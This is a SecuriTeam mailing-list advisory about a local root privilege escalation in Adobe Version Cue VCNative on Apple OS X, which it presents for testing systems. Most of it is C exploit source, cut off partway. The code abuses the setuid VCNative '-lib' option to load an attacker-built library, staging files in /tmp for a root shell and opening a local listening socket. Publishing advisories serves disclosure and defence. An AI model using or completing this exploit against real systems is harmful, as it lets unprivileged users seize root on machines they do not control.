[EXPL] Adobe Version Cue VCNative Privileges Escalation (Exploit)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

Adobe Version Cue VCNative Privileges Escalation (Exploit)
------------------------------------------------------------------------

SUMMARY

" <http://www.adobe.com/products/creativesuite/versioncue.html> Adobe
Version Cue is a software version tracking system for Adobe products
distributed with Adobe Creative Suite and select Adobe products". Lack of
proper parameter checking allows attackers to gain root privileges using
Adobe Version Cue VCNative, the following exploit code can be used to test
your system for the mentioned vulnerability.

DETAILS

Vulnerable Systems:
* Adobe Version Cue version 1 on the Apple OS X platform

Exploit:
---------------------- xosx-adobe-vcnative-dyld.c ----------------------

/*[ Adobe Version Cue VCNative[OSX]: local root exploit. (dyld) ]*
* *
* by: vade79/v9 v9 at fakehalo.us (fakehalo/realhalo) *
* *
* Adobe Version Cue's VCNative program allows un-privileged *
* local users to load arbitrary libraries("bundles") while *
* running setuid root. this is done via the "-lib" *
* command-line option. *
* *
* note: VCNative must connect to a valid host to be able *
* to get to the point where the library is loaded. this is *
* automated in this exploit by listening to an arbitrary local *
* port and using the localhost("127.0.0.1") to connect to. *
*********************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <signal.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define VCNATIVE_PATH "/Applications/Adobe Version Cue/tomcat/webapps" "/ROOT/WEB-INF/components/com.adobe.bauhaus.nativecomm/res/VCNative"
#define VCNATIVE_PORT 7979
#define CC_PATH "/usr/bin/gcc"
#define BUNDLE_PATH "/tmp/xvcn_lib"
#define SUSH_PATH "/tmp/xvcn_sush"

void printe(char *,signed char);

int main(){
signed int sock=0,so=1;
char syscmd[4096+1];
struct stat mod;
struct sockaddr_in sa;
FILE *bundle,*sush;
/* banner. */
printf("[*] Adobe Version Cue VCNative[OSX]: local root exploit. (dy"
"ld)\n[*] by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)\n\n");
/* see if we have what we need. */
if(access(CC_PATH,X_OK))
printe("incorrect gcc/cc path. (CC_PATH)",1);
if(stat(VCNATIVE_PATH,&mod))
printe("incorrect VCNative path. (VCNATIVE_PATH)",1);
if(!(S_ISUID&mod.st_mode))
printe("VCNative is not setuid. (VCNATIVE_PATH)",1);
/* appease VCNative's initial connection to load the library. */
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so));
#ifdef SO_REUSEPORT
setsockopt(sock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so));